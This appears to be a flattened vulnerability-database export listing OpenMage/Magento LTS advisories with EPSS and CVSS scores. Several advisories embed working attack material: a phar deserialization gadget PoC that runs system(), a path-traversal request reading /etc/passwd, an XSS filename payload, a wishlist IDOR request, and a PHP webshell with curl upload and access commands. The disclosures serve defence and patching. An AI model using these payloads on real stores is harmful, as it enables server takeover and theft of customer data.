| Affected_by_vulnerabilities |
| 0 |
| url |
VCID-19kk-2s77-nuaa |
| vulnerability_id |
VCID-19kk-2s77-nuaa |
| summary |
Magento's X-Original-Url header can expose admin url
The admin url can be discovered without prior knowledge of its location by exploiting the X-Original-Url header on some configurations. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-25523 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.0001 |
| scoring_system |
epss |
| scoring_elements |
0.01176 |
| published_at |
2026-06-05T12:55:00Z |
|
| 1 |
| value |
0.00011 |
| scoring_system |
epss |
| scoring_elements |
0.01403 |
| published_at |
2026-06-08T12:55:00Z |
|
| 2 |
| value |
0.00011 |
| scoring_system |
epss |
| scoring_elements |
0.0141 |
| published_at |
2026-06-07T12:55:00Z |
|
| 3 |
| value |
0.00011 |
| scoring_system |
epss |
| scoring_elements |
0.01409 |
| published_at |
2026-06-06T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-25523 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-25523, GHSA-jg68-vhv3-9r8f
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-19kk-2s77-nuaa |
|
| 1 |
| url |
VCID-4tsg-n4v2-vyhg |
| vulnerability_id |
VCID-4tsg-n4v2-vyhg |
| summary |
DoS vulnerability in MaliciousCode filter
### Impact
Infinite loop in malicious code filter in certain conditions.
### Workarounds
None |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2023-23617 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00274 |
| scoring_system |
epss |
| scoring_elements |
0.51012 |
| published_at |
2026-06-05T12:55:00Z |
|
| 1 |
| value |
0.00274 |
| scoring_system |
epss |
| scoring_elements |
0.50967 |
| published_at |
2026-06-08T12:55:00Z |
|
| 2 |
| value |
0.00274 |
| scoring_system |
epss |
| scoring_elements |
0.50997 |
| published_at |
2026-06-07T12:55:00Z |
|
| 3 |
| value |
0.00274 |
| scoring_system |
epss |
| scoring_elements |
0.5095 |
| published_at |
2026-06-04T12:55:00Z |
|
| 4 |
| value |
0.00274 |
| scoring_system |
epss |
| scoring_elements |
0.51017 |
| published_at |
2026-06-06T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2023-23617 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
|
| fixed_packages |
|
| aliases |
CVE-2023-23617, GHSA-3p73-mm7v-4f6m, GMS-2023-153
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-4tsg-n4v2-vyhg |
|
| 2 |
| url |
VCID-66qk-mhwg-tqcz |
| vulnerability_id |
VCID-66qk-mhwg-tqcz |
| summary |
OpenMage LTS: Cross-user wishlist import leads to private option & file disclosure
# Cross-user wishlist item import via shared wishlist code, leading to private option disclosure and file-disclosure variant
## Summary
The shared wishlist add-to-cart endpoint authorizes access with a public `sharing_code`, but loads the acted-on wishlist item by a separate global `wishlist_item_id` and never verifies that the item belongs to the shared wishlist referenced by that code.
This lets an attacker use:
- a valid shared wishlist code for wishlist A
- a wishlist item ID belonging to victim wishlist B
to import victim item B into the attacker's cart through the shared wishlist flow for wishlist A.
Because the victim item's stored `buyRequest` is reused during cart import, the victim's private custom-option data is copied into the attacker's quote. If the product uses a file custom option, this can be elevated to cross-user file disclosure because the imported file metadata is preserved and the download endpoint is not ownership-bound.
## Vulnerability Type
- Broken object-level authorization / IDOR
- Cross-user data disclosure
- Cross-user file disclosure variant
## Root Cause
In `app/code/core/Mage/Wishlist/controllers/SharedController.php`, the shared flow does:
```php
$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);
...
$item->addToCart($cart);
```
Relevant lines:
- `SharedController.php:86` loads the wishlist item by global ID
- `SharedController.php:87` loads the wishlist by shared code
- `SharedController.php:99` imports the item into cart
There is no check that:
```php
$item->getWishlistId() == $wishlist->getId()
```
The safe owner flow in `app/code/core/Mage/Wishlist/controllers/IndexController.php:521-528` does preserve this binding by deriving the wishlist from `item->getWishlistId()`.
The imported item keeps its original `buyRequest` because `app/code/core/Mage/Wishlist/Model/Item.php:370-372` passes that stored request directly into:
```php
$cart->addProduct($product, $buyRequest);
```
## Security Impact
### Baseline impact
An attacker can import another user's private wishlist item into the attacker's own cart, using an unrelated shared wishlist code.
This is a clear cross-user authorization bypass. The victim item's private configuration is copied into the attacker's quote, including custom-option values such as personalized text.
### Stronger variant: cross-user file disclosure
If the victim item contains a custom option of type `file`, the imported quote item preserves file metadata such as:
- `quote_path`
- `order_path`
- `secret_key`
The file option renderer in `app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:547-552` generates a download URL from:
- the imported `sales/quote_item_option` ID
- the preserved `secret_key`
The downloader in `app/code/core/Mage/Sales/controllers/DownloadController.php:150-185`:
- loads quote item option by global ID
- verifies only product option type and `secret_key`
- reads the file from `order_path` or `quote_path`
It does not verify ownership of the quote item, order, or original wishlist item. This creates a cross-user file disclosure path once victim file metadata has been imported.
## Steps To Reproduce
### Lab data
- shared wishlist A:
- `wishlist_id = 1`
- `customer_id = 2`
- `sharing_code = 6376bb8c37a09c2de3664bd8cdc16412`
- victim wishlist B:
- `wishlist_id = 2`
- `customer_id = 3`
- victim item:
- `wishlist_item_id = 1`
- `wishlist_id = 2`
- `product_id = 2`
- victim private text option marker:
- `VICTIM-MARKER-49040822`
### Reproduction
Send:
```http
GET /wishlist/shared/cart/?code=6376bb8c37a09c2de3664bd8cdc16412&item=1
```
Where:
- `code` belongs to shared wishlist A
- `item=1` belongs to victim wishlist B
### Expected result
The request should be rejected because the item does not belong to the shared wishlist referenced by the `sharing_code`.
### Actual result
The application imports victim item `1` into the attacker's quote anyway.
## Verified Evidence
### Baseline variant
Previously verified at quote/option level in lab:
```text
option_1 = VICTIM-MARKER-49040822
```
This shows that the attacker's cart received victim-private custom-option data from another user's wishlist item.
### File-disclosure variant
Previously verified in lab after importing a victim file-option payload:
```text
/sales/download/downloadCustomOption/id/9/key/86fca9b61c0b891b52fb/
```
This URL was generated from imported quote item option data containing the victim file metadata and secret key.
## Why This Is A Valid Bug
This is not a timing issue and does not depend on non-default security settings.
The bug is a direct authorization failure:
- authorization is based on wishlist A's share code
- the acted-on object is item B from another wishlist
- there is no item-to-wishlist binding check
- victim-controlled item state is then copied into attacker-controlled cart state
That is a broken object-level authorization issue with clear cross-user impact.
## Remediation
In `SharedController::cartAction()`, reject any request where the loaded item does not belong to the wishlist loaded from the share code:
```php
$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);
if (!$item->getId() || !$wishlist->getId() || (int) $item->getWishlistId() !== (int) $wishlist->getId()) {
return $this->_forward('noRoute');
}
```
Defense in depth:
- bind `sales/download/downloadCustomOption` to the current quote/order owner instead of trusting only `id + secret_key` |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-40098 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.0002 |
| scoring_system |
epss |
| scoring_elements |
0.05649 |
| published_at |
2026-06-08T12:55:00Z |
|
| 1 |
| value |
0.0002 |
| scoring_system |
epss |
| scoring_elements |
0.0569 |
| published_at |
2026-06-07T12:55:00Z |
|
| 2 |
| value |
0.0002 |
| scoring_system |
epss |
| scoring_elements |
0.05689 |
| published_at |
2026-06-06T12:55:00Z |
|
| 3 |
| value |
0.0002 |
| scoring_system |
epss |
| scoring_elements |
0.05704 |
| published_at |
2026-06-05T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-40098 |
|
| 1 |
| reference_url |
https://github.com/OpenMage/magento-lts |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
5.4 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N |
|
| 1 |
| value |
5.3 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
|
| url |
https://github.com/OpenMage/magento-lts |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-40098, GHSA-665x-ppc4-685w
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-66qk-mhwg-tqcz |
|
| 3 |
| url |
VCID-7srh-wcuk-ryhg |
| vulnerability_id |
VCID-7srh-wcuk-ryhg |
| summary |
OpenMage LTS: Phar Deserialization leads to Remote Code Execution
PHP functions such as `getimagesize()`, `file_exists()`, and `is_readable()` can trigger deserialization when processing `phar://` stream wrapper paths. OpenMage LTS uses these functions with potentially controllable file paths during image validation and media handling. An attacker who can upload a malicious phar file (disguised as an image) and trigger one of these functions with a `phar://` path can achieve arbitrary code execution.
| Metric | Value | Justification |
| ------------------------ | --------- | ------------------------------------------------ |
| Attack Vector (AV) | Network | Exploitable via file upload and web requests |
| Attack Complexity (AC) | High | Requires file upload + triggering phar:// access |
| Privileges Required (PR) | None | Some upload vectors don't require authentication |
| User Interaction (UI) | None | Exploitation is automatic once triggered |
| Scope (S) | Unchanged | Impacts the vulnerable component |
| Confidentiality (C) | High | Full system access via RCE |
| Integrity (I) | High | Arbitrary code execution |
| Availability (A) | High | Complete system compromise possible |
## Affected Products
- OpenMage LTS versions < 20.16.1
- All versions derived from Magento 1.x with these code paths
## Affected Files
| File | Line | Vulnerable Function |
| --------------------------------------------------------- | ---- | ---------------------------------------------- |
| `app/code/core/Mage/Core/Model/File/Validator/Image.php` | 72 | `getimagesize($filePath)` |
| `app/code/core/Mage/Cms/Model/Wysiwyg/Images/Storage.php` | 137 | `getimagesize($item->getFilename())` |
| `lib/Varien/Image.php` | 71 | `$this->_getAdapter()->open($this->_fileName)` |
## Vulnerability Details
PHP's phar (PHP Archive) format stores metadata that is serialized. When PHP's stream wrapper functions access a file using the `phar://` protocol, the metadata is automatically deserialized. This occurs even with seemingly safe functions like `file_exists()` or `getimagesize()`.
A polyglot file can be crafted that is both a valid image (passing initial validation) and a valid phar archive containing malicious serialized objects. When the application later processes this file using `phar://`, the deserialization triggers a gadget chain leading to RCE.
### Attack Flow
1. **Create polyglot file**: Attacker creates a file that is both valid JPEG and valid PHAR
2. **Upload file**: Attacker uploads the polyglot via product images, CMS media, or import
3. **Trigger phar:// access**: Attacker causes the application to access the file using `phar://` wrapper
4. **Code execution**: PHAR metadata deserialization triggers gadget chain
### Proof of Concept
```php
<?php
// Create malicious phar file
class ExploitGadget {
public $cmd = 'id > /tmp/pwned';
function __destruct() {
system($this->cmd);
}
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new ExploitGadget());
$phar->stopBuffering();
// Rename to appear as image
rename('exploit.phar', 'exploit.jpg');
// When getimagesize('phar://path/to/exploit.jpg') is called,
// the ExploitGadget::__destruct() method executes
```
## Remediation
Block `phar://` paths before passing to vulnerable functions:
```php
// Before (vulnerable)
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);
// After (fixed)
if (str_starts_with($filePath, 'phar://')) {
throw new Exception('Invalid image path.');
}
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);
```
Additionally, ICO files (which cannot be re-encoded by GD) are now scanned for phar signatures:
- `__HALT_COMPILER();` - Required phar stub
- `<?php` - PHP opening tag
- `<?=` - PHP short echo tag
Additional hardening measures:
1. **ICO uploads removed**: ICO file support is completely removed from new image uploads. This eliminates the polyglot attack vector entirely since all other image formats are re-encoded by GD, which strips any embedded phar metadata.
2. **Phar wrapper disabled**: The `phar://` stream wrapper is unregistered at application bootstrap, preventing any phar deserialization attacks regardless of code path.
3. **Cache deserialization hardening**: All `unserialize()` calls on cached data now use `allowed_classes => false` as defense-in-depth.
**Note:** Existing uploaded ICO files will continue to work. Only new ICO uploads will be rejected. Users are encouraged to use PNG favicons for new uploads.
## Workarounds
If immediate upgrade is not possible:
1. **Disable phar stream wrapper** (if not needed):
```ini
; php.ini
disable_functions = phar://
```
Or in code:
```php
stream_wrapper_unregister('phar');
```
2. **Strict upload validation**: Implement additional validation beyond file extension
3. **File storage isolation**: Store uploads outside web root with randomized names
4. **Web Application Firewall**: Block requests containing `phar://` in parameters
## Credit
This vulnerability was discovered and responsibly disclosed by [blackhat2013](https://hackerone.com/blackhat2013) through HackerOne.
## Timeline
- **2025-12-31**: Vulnerability reported via HackerOne
- **2026-01-21**: Fix developed and tested
Source: https://hackerone.com/reports/3482926 |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-25524 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00389 |
| scoring_system |
epss |
| scoring_elements |
0.60352 |
| published_at |
2026-06-05T12:55:00Z |
|
| 1 |
| value |
0.00389 |
| scoring_system |
epss |
| scoring_elements |
0.60325 |
| published_at |
2026-06-08T12:55:00Z |
|
| 2 |
| value |
0.00389 |
| scoring_system |
epss |
| scoring_elements |
0.60342 |
| published_at |
2026-06-07T12:55:00Z |
|
| 3 |
| value |
0.00389 |
| scoring_system |
epss |
| scoring_elements |
0.60354 |
| published_at |
2026-06-06T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-25524 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-25524, GHSA-fg79-cr9c-7369
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-7srh-wcuk-ryhg |
|
| 4 |
| url |
VCID-9axm-6vqd-tkag |
| vulnerability_id |
VCID-9axm-6vqd-tkag |
| summary |
Magento LTS vulnerable to stored XSS in theme config fields
As reported by [Aakash Adhikari](https://hackerone.com/dark_haxor), Github: @justlife4x4, the Design > Themes > Skin (Images / CSS) config field allows a Stored XSS when it contains an end script tag. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2025-27400 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00198 |
| scoring_system |
epss |
| scoring_elements |
0.41763 |
| published_at |
2026-06-08T12:55:00Z |
|
| 1 |
| value |
0.00198 |
| scoring_system |
epss |
| scoring_elements |
0.41797 |
| published_at |
2026-06-07T12:55:00Z |
|
| 2 |
| value |
0.00198 |
| scoring_system |
epss |
| scoring_elements |
0.41827 |
| published_at |
2026-06-06T12:55:00Z |
|
| 3 |
| value |
0.00198 |
| scoring_system |
epss |
| scoring_elements |
0.41817 |
| published_at |
2026-06-05T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2025-27400 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
|
| fixed_packages |
|
| aliases |
CVE-2025-27400, GHSA-5pxh-89cx-4668
|
| risk_score |
1.4 |
| exploitability |
0.5 |
| weighted_severity |
2.7 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-9axm-6vqd-tkag |
|
| 5 |
| url |
VCID-9ztp-ffqs-4yh4 |
| vulnerability_id |
VCID-9ztp-ffqs-4yh4 |
| summary |
Magento LTS vulnerable to stored Cross-site Scripting (XSS) in admin system configs
This XSS vulnerability is about the system configs
* design/header/welcome
* design/header/logo_src
* design/header/logo_src_small
* design/header/logo_alt
They are intended to enable admins to set a text in the two cases, and to define an image url for the other two cases.
But because of previously missing escaping allowed to input arbitrary html and as a consequence also arbitrary JavaScript.
While this is in most usage scenarios not a relevant issue, some people work with more restrictive roles in the backend. Here the ability to inject JavaScript with these settings would be an unintended and unwanted privilege. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2024-41676 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00669 |
| scoring_system |
epss |
| scoring_elements |
0.71703 |
| published_at |
2026-06-08T12:55:00Z |
|
| 1 |
| value |
0.00669 |
| scoring_system |
epss |
| scoring_elements |
0.71717 |
| published_at |
2026-06-07T12:55:00Z |
|
| 2 |
| value |
0.00669 |
| scoring_system |
epss |
| scoring_elements |
0.7174 |
| published_at |
2026-06-06T12:55:00Z |
|
| 3 |
| value |
0.00669 |
| scoring_system |
epss |
| scoring_elements |
0.71734 |
| published_at |
2026-06-05T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2024-41676 |
|
| 1 |
| reference_url |
https://github.com/OpenMage/magento-lts |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
4.1 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N |
|
| 1 |
| value |
5.1 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
|
| url |
https://github.com/OpenMage/magento-lts |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
|
| fixed_packages |
|
| aliases |
CVE-2024-41676, GHSA-5vrp-638w-p8m2
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-9ztp-ffqs-4yh4 |
|
| 6 |
| url |
VCID-cbms-5g8f-wyg6 |
| vulnerability_id |
VCID-cbms-5g8f-wyg6 |
| summary |
OpenMage LTS has a Path Traversal Filter Bypass in Dataflow Module
The Dataflow module in OpenMage LTS uses a weak blacklist filter (`str_replace('../', '', $input)`) to prevent path traversal attacks. This filter can be bypassed using patterns like `..././` or `....//`, which after the replacement still result in `../`. An authenticated administrator can exploit this to read arbitrary files from the server filesystem.
| Metric | Value | Justification |
| ------------------------ | --------- | ------------------------------------- |
| Attack Vector (AV) | Network | Exploitable via admin panel |
| Attack Complexity (AC) | Low | Simple bypass pattern |
| Privileges Required (PR) | High | Requires admin authentication |
| User Interaction (UI) | None | No additional user interaction needed |
| Scope (S) | Unchanged | Impacts the vulnerable component |
| Confidentiality (C) | High | Can read sensitive system files |
| Integrity (I) | None | Read-only vulnerability |
| Availability (A) | None | No impact on availability |
## Affected Products
- OpenMage LTS versions < 20.16.1
- All versions derived from Magento 1.x with these code paths
## Affected Files
| File | Line | Vulnerable Code |
| ------------------------------------------------------------ | ---- | ---------------------------------------- |
| `app/code/core/Mage/Dataflow/Model/Convert/Parser/Csv.php` | 67 | `str_replace('../', '', urldecode(...))` |
| `app/code/core/Mage/Dataflow/Model/Convert/Parser/Xml/Excel.php` | 63 | `str_replace('../', '', urldecode(...))` |
## Vulnerability Details
The Dataflow module allows administrators to import data from files. The `files` parameter specifies which file to import from the `var/import/` directory. To prevent path traversal, the code uses `str_replace()` to remove `../` sequences:
```php
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
. str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));
```
However, `str_replace()` only performs a single pass, making it trivially bypassable:
### Bypass Examples
| Input | After `str_replace('../', '', ...)` | Result |
| ------------------------------ | ----------------------------------- | --------- |
| `..././` | `../` | Bypass |
| `....//` | `../` | Bypass |
| `..././..././..././etc/passwd` | `../../../etc/passwd` | File read |
### Attack Scenario
1. Attacker gains admin access (via compromised credentials, social engineering, etc.)
2. Navigate to System > Import/Export > Dataflow Profiles
3. Create or modify an import profile
4. Set the `files` parameter to: `..././..././..././etc/passwd`
5. Run the profile to read the contents of `/etc/passwd`
### Proof of Concept
```
# Request to Dataflow with bypass pattern
GET /admin/system_convert_gui/run/id/1/?files=..././..././..././etc/passwd
# The str_replace removes '../' leaving:
# ..././..././..././etc/passwd -> ../../../etc/passwd
# Final path resolves to:
# /var/www/html/var/import/../../../etc/passwd -> /etc/passwd
```
## Remediation
Replace the weak `str_replace()` filter with `basename()` to extract only the filename:
```php
// Before (vulnerable)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
. str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));
// After (fixed)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
. basename(urldecode(Mage::app()->getRequest()->getParam('files')));
```
Using `basename()` ensures only the filename portion is used, completely preventing any path traversal regardless of the input pattern.
## Workarounds
If immediate upgrade is not possible:
1. **Restrict admin access**: Limit Dataflow access to trusted administrators only
2. **Disable Dataflow**: If not in use, disable the Dataflow module entirely
3. **Web Application Firewall**: Block requests containing path traversal patterns
4. **File permissions**: Ensure the web server user has minimal filesystem permissions
5. **Monitor admin activity**: Alert on suspicious Dataflow profile execution
## Impact
An attacker with admin access can read sensitive files including:
- `/etc/passwd` - System user information
- `app/etc/local.xml` - Database credentials
- `.env` files - Environment secrets
- Log files - Potentially sensitive application data
- Configuration files - Server and application configuration
## Credit
This vulnerability was discovered and responsibly disclosed by [blackhat2013](https://hackerone.com/blackhat2013) through HackerOne.
## Timeline
- **2025-12-31**: Vulnerability reported via HackerOne
- **2026-01-21**: Fix developed and tested |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-25525 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00068 |
| scoring_system |
epss |
| scoring_elements |
0.21007 |
| published_at |
2026-06-08T12:55:00Z |
|
| 1 |
| value |
0.00068 |
| scoring_system |
epss |
| scoring_elements |
0.21071 |
| published_at |
2026-06-07T12:55:00Z |
|
| 2 |
| value |
0.00068 |
| scoring_system |
epss |
| scoring_elements |
0.21115 |
| published_at |
2026-06-06T12:55:00Z |
|
| 3 |
| value |
0.00068 |
| scoring_system |
epss |
| scoring_elements |
0.21128 |
| published_at |
2026-06-05T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-25525 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-25525, GHSA-6vqf-6fhm-7rc6
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-cbms-5g8f-wyg6 |
|
| 7 |
| url |
VCID-dg5g-wnuf-ryad |
| vulnerability_id |
VCID-dg5g-wnuf-ryad |
| summary |
Magento LTS vulnerable to stored XSS in admin file form
### Summary
OpenMage is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields.
### Details
`Mage_Adminhtml_Block_System_Config_Form_Field_File` does not escape filename value in certain situations.
Same as: https://nvd.nist.gov/vuln/detail/CVE-2024-20717
### PoC
1. Create empty file with this filename: `<img src=x onerror=alert(1)>.crt`
2. Go to _System_ > _Configuration_ > _Sales | Payment Methonds_.
3. Click **Configure** on _PayPal Express Checkout_.
4. Choose **API Certificate** from dropdown _API Authentication Methods_.
5. Choose the XSS-file and click **Save Config**.
6. Profit, alerts "1" -> XSS.
7. Reload, alerts "1" -> Stored XSS.
### Impact
Affects admins that have access to any fileupload field in admin in core or custom implementations.
Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field. |
| references |
|
| fixed_packages |
|
| aliases |
GHSA-gp6m-fq6h-cjcx
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-dg5g-wnuf-ryad |
|
| 8 |
|
| 9 |
| url |
VCID-fken-twwj-gkaq |
| vulnerability_id |
VCID-fken-twwj-gkaq |
| summary |
OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution
The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.
## Affected Version
- **Project:** OpenMage/magento-lts
- **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php`
- **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`)
- **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824`
## Root Cause
The file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only:
```xml
<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>
```
This misses the comprehensive `protected_extensions` blocklist defined elsewhere:
```xml
<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi,
htm, html, pht, phtml, shtml
```
## Vulnerable Code
```php
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
$upload->addValidator('Extension', false, $_allowed);
} else {
$_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
if ($_forbidden !== null) {
$upload->addValidator('ExcludeExtension', false, $_forbidden); // Only blocks php,exe!
}
}
```
## Steps to Reproduce
### 1. Environment Setup
Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)
### 2. Exploitation
```bash
# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
-F "file=@shell.phtml;filename=shell.phtml"
```
**Result:**
<img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />
### 3. Code Execution
OpenMage derives the uploaded file's storage path deterministically from two values the attacker
already controls:
**Subdirectory** — `getDispretionPath($filename)` takes the **first two characters** of the
uploaded filename and uses them as nested directory names:
```
filename = "shell.phtml" → s/ h/ → media/custom_options/quote/s/h/
```
**Filename** — `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the
uploaded payload** (`File.php:245`):
```php
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath = $dispersion . DS . $fileHash . '.' . $extension;
```
Because the attacker writes the webshell themselves, both the filename prefix and file contents are
known **before the upload request is sent**. The full URL can be pre-computed:
```bash
SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h
```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"
```
**Result:** RCE Confirmed
<img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" />
## Affected Deployments
| Configuration | Status |
|---------------|--------|
| Apache + mod_php (with `php_flag engine 0`) | SAFE |
| Apache + PHP-FPM | **VULNERABLE** |
| Nginx (reference hardened config) | SAFE |
| Nginx (generic config with .phtml→FPM) | **VULNERABLE** |
## Impact
1. **Remote Code Execution:** Full server compromise through webshell upload
2. **Data Exfiltration:** Access to database credentials, customer PII, payment data
3. **Lateral Movement:** Pivot to internal infrastructure
4. **Supply Chain:** Inject malicious code into served content |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-40488 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.0009 |
| scoring_system |
epss |
| scoring_elements |
0.25511 |
| published_at |
2026-06-06T12:55:00Z |
|
| 1 |
| value |
0.0009 |
| scoring_system |
epss |
| scoring_elements |
0.25406 |
| published_at |
2026-06-08T12:55:00Z |
|
| 2 |
| value |
0.0009 |
| scoring_system |
epss |
| scoring_elements |
0.25465 |
| published_at |
2026-06-07T12:55:00Z |
|
| 3 |
| value |
0.0009 |
| scoring_system |
epss |
| scoring_elements |
0.25524 |
| published_at |
2026-06-05T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-40488 |
|
| 1 |
| reference_url |
https://github.com/OpenMage/magento-lts |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
8.8 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
|
| 1 |
| value |
8.7 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
|
| 2 |
| value |
HIGH |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
|
| url |
https://github.com/OpenMage/magento-lts |
|
| 2 |
|
| 3 |
|
| 4 |
|
|
| fixed_packages |
